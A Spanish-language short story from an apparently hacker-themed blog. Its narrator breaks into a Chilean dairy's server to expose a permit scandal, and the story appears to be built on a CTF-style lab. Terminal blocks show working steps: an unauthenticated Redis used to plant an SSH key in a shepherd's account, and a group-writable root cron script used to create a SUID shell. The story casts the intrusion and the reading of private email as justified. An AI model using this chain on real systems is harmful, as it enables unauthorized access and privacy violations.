‹ cd4cwj / relatos
root@cd4cwj:~$ cat relatos/el-baifo.md

El Baifo

hackerSantiagothriller

«No quería sino intentar vivir aquello que tendía a salir de mí, espontáneamente. ¿Por qué había de ser esto tan difícil?» — Hermann Hesse, Demian

El Baifo hace queso de cabra hace tres generaciones, en las faldas de la quebrada Los Piuquenes, camino a San José de Maipo, y nadie en la Región Metropolitana sabía, hasta este año, que esa quebrada también fabricaba otra cosa: permisos.

Me escribió una asamblea vecinal del Cajón del Maipo, la misma que llevaba dos años juntando firmas contra «Refugios Los Piuquenes», un proyecto de lodges de montaña que planeaba levantarse justo sobre el cauce seco que baja desde el cerro cuando llueve fuerte, y la quebrada tiene nombre de pájaro y memoria de piedra, cada cierto número de años baja un aluvión que nadie invitó, la empresa decía que no, un organismo técnico del Estado, en un informe que la asamblea consiguió por transparencia, decía que sí, que hacía falta un estudio específico de remoción en masa antes de construir nada ahí, y el proyecto se aprobó igual, con la objeción convertida en «condición de operación» dentro de un plan que la propia empresa se comprometía a redactar. Nadie explicaba, en ningún documento público, por qué.

Lo que sí sabían los vecinos es que Matías Vidal —arquitecto, dueño de un tercio del proyecto a través de una sociedad familiar— es cuñado del subsecretario Raúl Contreras, la cabeza de una «Mesa de Coordinación de Inversión Regional» creada hace un año para «destrabar» permisos ambientales atrasados, y ninguna acta pública de esa mesa existe, y la familia de Vidal, además del proyecto de los lodges, es dueña de la quesería que da nombre a este relato, El Baifo, la que provee collares inteligentes a su propio rebaño para no perder ni una cabra en el monte, administrada con el mismo criterio de seguridad informática con que se administra todo lo que a nadie se le ocurre que alguien vaya a mirar. Peleamos por sacar esto a la luz porque es lo único que sostiene el corazón cuando lo que hay detrás de un queso artesanal es una quebrada que nadie quiso mirar a tiempo.

terminal — lo que el escaneo por defecto no muestra
$ nmap -sV -sC -Pn 192.168.56.101
22/tcp open ssh
80/tcp open http   "El Baifo — Quesería artesanal"

$ nmap -p- --min-rate 3000 -Pn 192.168.56.101
22/tcp   open ssh
80/tcp   open http
1883/tcp open mqtt
6379/tcp open redis

La web de la quesería mostraba fotos de cabras y un formulario de pedidos, y detrás, sin que nadie lo hubiera pensado dos veces, corrían dos servicios más, uno para que los collares de las cabras avisaran su ubicación y temperatura, otro para guardar cualquier cosa que la administración necesitara recordar, y ninguno de los dos le pedía la contraseña a nadie:

terminal — los collares hablan con cualquiera que escuche
$ mosquitto_sub -h 192.168.56.101 -t '#' -v
baifo/rebano/07/temperatura   38.1
baifo/rebano/07/ubicacion     -33.7421,-70.3538
baifo/sistemas/turno          Encargado de turno: Antonio (pastor01) — revisión de collares OK

Entre la temperatura de las cabras apareció un nombre real, con su usuario real, Antonio, a quien todos en el sector conocían como el pastor de la familia Vidal desde antes de que el hijo se hiciera arquitecto, y Antonio no sabía nada de aluviones ni de subsecretarías, sabía de cabras, y sabía —esto me lo contó después, cuando ya no tenía sentido no contarlo— que hacía dos meses unos hombres de traje habían bajado a la quebrada con instrumentos de topógrafo, sin explicarle nada, y que un mes antes de eso la familia le había pagado, «como agradecimiento», la perforación de un pozo que su casa necesitaba hacía años. Antonio nunca preguntó por qué justo entonces. Yo tampoco habría preguntado.

terminal — la puerta sin candado
$ redis-cli -h 192.168.56.101 ping
PONG
$ redis-cli -h 192.168.56.101 KEYS '*'
$ redis-cli -h 192.168.56.101 CONFIG GET dir
/var/lib/redis

Un servidor que responde sin pedir nada, y que además confiesa dónde guarda sus cosas, no es una puerta entreabierta, es una puerta que ni siquiera sabe que es una puerta, y si podía decirle dónde escribir podía decirle qué escribir, y si Antonio ya tenía cuenta en esa máquina —el mensaje sobre los collares lo confirmaba— bastaba con dejarle, sin que él lo supiera, una llave de repuesto bajo su propio felpudo digital:

terminal — dejar una llave bajo el felpudo de Antonio
$ ssh-keygen -t ed25519 -f ./id_ed25519 -N "" -C "hackerlab@baifo"
$ redis-cli -h 192.168.56.101 CONFIG SET dir /home/pastor01/.ssh
OK
$ redis-cli -h 192.168.56.101 CONFIG SET dbfilename authorized_keys
$ redis-cli -h 192.168.56.101 FLUSHALL
$ redis-cli -h 192.168.56.101 SET clave_ssh $'\n\n'"$(cat id_ed25519.pub)"$'\n\n'
$ redis-cli -h 192.168.56.101 SAVE

No fue necesario adivinar ninguna contraseña de Antonio. Fue suficiente con que su casa digital tuviera, sin que él lo supiera, un servicio que aceptaba visitas de cualquiera y las dejaba decorar el buzón de llaves de la entrada:

terminal — entrando por la puerta de Antonio, sin él
$ ssh -i ./id_ed25519 [email protected] 'id; cat ~/user.txt'
uid=1001(pastor01)
████████████

Sentí, ahí, el mismo peso que sentí con Fabiola en Aceituna Brava, había entrado usando el nombre de alguien que no tenía nada que ver con lo que yo buscaba, alguien a quien le debía, como mínimo, no dejarlo expuesto, y antes de tocar nada más hice lo que siempre hay que hacer al entrar a una casa que no es la propia, revisar con qué se cuenta y con qué no:

terminal — revisar la casa antes de tocar nada
$ id
uid=1001(pastor01) gid=1001(pastor01) grupos=1001(pastor01)
$ sudo -l
[sudo] password for pastor01: -- pide contraseña, sin acceso, descartado

Antonio no tenía sudo, no tenía secretos que ocultar, no tenía más ambición que llegar antes de que amaneciera a contar cabras, pero el sistema entero de la quesería, el mismo que anotaba la temperatura de un animal, era también donde alguien de la familia Vidal guardaba respaldos que nunca debieron compartir servidor con nada:

terminal — lo que root deja tirado por descuido
$ cat /etc/crontab
$ ls -la /etc/cron.d/
$ cat /etc/cron.d/baifo-backup
*/2 * * * * root /opt/baifo/scripts/backup-collares.sh
$ ls -la /opt/baifo/scripts/backup-collares.sh
-rwxrwx--- 1 root pastor01  backup-collares.sh

Root confiaba en ese script cada dos minutos, sin desconfiar nunca del grupo que también podía tocarlo, el mismo grupo al que Antonio, sin saberlo, pertenecía, y no hizo falta ninguna contraseña de administrador, hizo falta, otra vez, la misma lección que ya había aprendido dos veces este año: nadie vigila la puerta que cree demasiado humilde para ser una puerta.

terminal — la humildad de un script de respaldo
$ cat >> /opt/baifo/scripts/backup-collares.sh << 'EOF'
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
$ until test -u /tmp/rootbash; do sleep 5; done
$ /tmp/rootbash -p -c "id; cat /root/root.txt"
euid=0(root)
████████████

Root, en esa máquina, no guardaba secretos de Estado, guardaba algo peor, porque estaba a medio camino entre la quesería y la oficina: un buzón de correo local, sin cifrar, que Matías Vidal usaba como bitácora personal por costumbre de arquitecto ordenado, sincronizado ahí «solo por respaldo» junto a los datos del ganado. En él, un hilo con el subsecretario Contreras a lo largo de nueve meses, coordinando fechas de una mesa sin actas; una respuesta suya explicando, con una frase que anoté palabra por palabra, que «la geomorfología no está entre lo que este comité revisa, revisa plazos, no terrenos»; y un calendario con tres reuniones marcadas solo con iniciales, en fechas que coincidían, una por una, con las visitas de los hombres de traje a la quebrada de Antonio.

Nada de eso tenía la firma de un delito con nombre y artículo. Tenía, eso sí, la forma exacta de cómo se fabrica uno, no con una orden explícita sino con una serie de favores que nunca se piden en voz alta y un organismo técnico al que alguien decide, sin decirlo, dejar de escuchar.

El nudo no fue técnico. Fue darme cuenta de que Antonio, sin saberlo, llevaba dos meses cargando la culpa de haber aceptado un pozo de agua que ahora entendía distinto. Le pregunté, cuando por fin hablamos, si quería que su nombre apareciera en algo. Me dijo que no, que él solo quería que la quebrada no se llevara puesta la casa de nadie cuando lloviera de verdad. No pidió justicia contra Vidal. Pidió, nada más, que alguien mirara la quebrada antes que los planos.

Entregué el hilo de correos y el calendario a la asamblea del Cajón del Maipo, no a Alberto ni a ningún medio esta vez —la comunidad ya tenía abogados propios, y prefería llevarlo ella misma ante el organismo técnico que había sido ninguneado, con la evidencia de que su objeción fue efectivamente conocida y descartada por conveniencia, no por criterio. El nombre de Antonio no aparece en ningún documento que haya salido de mis manos. El de Matías Vidal y el de Raúl Contreras, sí, con las fechas, no con acusaciones sueltas.

«Refugios Los Piuquenes» sigue, a la fecha en que escribo esto, «en revisión». La quesería sigue vendiendo queso los sábados. Antonio sigue contando cabras cada mañana, con un poco menos de gratitud hacia el pozo y un poco más de sueño perdido preguntándose si hizo bien en hablar. Yo sigo sin saber si mirar la quebrada antes que los planos bastará esta vez, o si en algún despacho, ahora mismo, alguien está aprendiendo simplemente a no dejar tan expuesto el próximo collar, pero seguiré peleando por esa luz aunque sea pequeña, porque una quebrada vigilada a tiempo también es una forma de sostener el corazón de alguien que nunca sabrá que lo sostuvimos.